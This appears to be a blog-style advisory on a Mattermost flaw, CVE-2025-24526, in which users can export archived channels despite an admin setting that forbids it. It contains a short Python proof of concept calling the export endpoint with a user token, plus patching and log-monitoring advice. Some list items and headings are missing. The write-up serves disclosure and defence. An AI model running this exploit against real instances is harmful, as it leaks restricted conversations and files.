CVE-2025-24526 - Exporting Archived Mattermost Channels Even When Disabled

In early 2025, a significant security issue was found in Mattermost, a popular open-source collaboration platform used by thousands of organizations. This vulnerability, tracked as CVE-2025-24526, lets users export the contents of archived channels—even when the administrator has explicitly turned off that ability.

Let's break down what this means, how the exploit works, and what you can do to protect your system.

9.11.x up to 9.11.7

When the system is set up so users can't view archived channels (the setting “Allow users to view archived channels” is disabled), users should not be able to interact with these channels at all. But due to this bug, users could still export the contents of any archived channel they belonged to, exposing sensitive or outdated information.

Why Is This a Problem?

Suppose your company archives a channel to prevent further access, maybe because it contains sensitive old conversations or project data. You expect that only administrators can see or interact with it. However, with this vulnerability, regular users could grab and export all the messages and files from the archived channel—just by knowing how.

This breaks the intended security model and could lead to information leaks.

How Does the Exploit Work?

Normally, the Mattermost API checks if a channel is archived and blocks actions accordingly. But due to a logic flaw, the /api/v4/channels/\<channel_id\>/export endpoint does not properly check if the channel is archived before exporting data.

User makes an API call to the export endpoint using their session token.

3. Mattermost returns the full export of the archived channel, even when user access to archived channels is disabled.

Example API Exploit (Code Snippet)

Below is a simple Python example showing how a user could dump the full contents of an archived channel.

import requests

MATTERMOST_URL = "https://your-mattermost-instance.com";
USER_TOKEN = "your_user_token_here"
ARCHIVED_CHANNEL_ID = "channel_id_of_archived_channel"

headers = {
    "Authorization": f"Bearer {USER_TOKEN}",
    "Accept": "application/json"
}

export_url = f"{MATTERMOST_URL}/api/v4/channels/{ARCHIVED_CHANNEL_ID}/export"
response = requests.get(export_url, headers=headers)

if response.status_code == 200:
    with open("archived_channel_export.zip", "wb") as f:
        f.write(response.content)
    print("Exported archived channel contents to archived_channel_export.zip")
else:
    print("Failed to export channel:", response.status_code, response.text)

> Warning: Running this code on any system you don't own may be illegal and unethical. Only test in protected, legal environments with explicit permission.

Sensitive Data Leaks: Export could include confidential messages, files, or links.

- Regulatory Exposure: If you archive channels for legal or regulatory purposes, users being able to export those contents could put compliance at risk.

Any 9.11.x before 9.11.8

You are at risk.
If you have disabled "Allow users to view archived channels", this bug could still allow exports.

Upgrade Immediately to the latest fixed release for your version track.

- Monitor logs for unusual API access to the /api/v4/channels/\*/export endpoint.

Official Mattermost Security Updates:

https://mattermost.com/security-updates/

Mattermost GitHub:

https://github.com/mattermost/mattermost

CVE Database Entry (once published):

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-24526

Final Thoughts

Even the best platforms have occasional security issues. CVE-2025-24526 is a good reminder to stay on top of updates, understand your platform’s permission systems, and regularly audit what is really accessible to your users.

If your company relies on Mattermost, please patch immediately—before someone walks off with your archived data.

For questions or help, see Mattermost support or your system administrator.

Timeline

Published on: 02/24/2025 08:15:10 UTC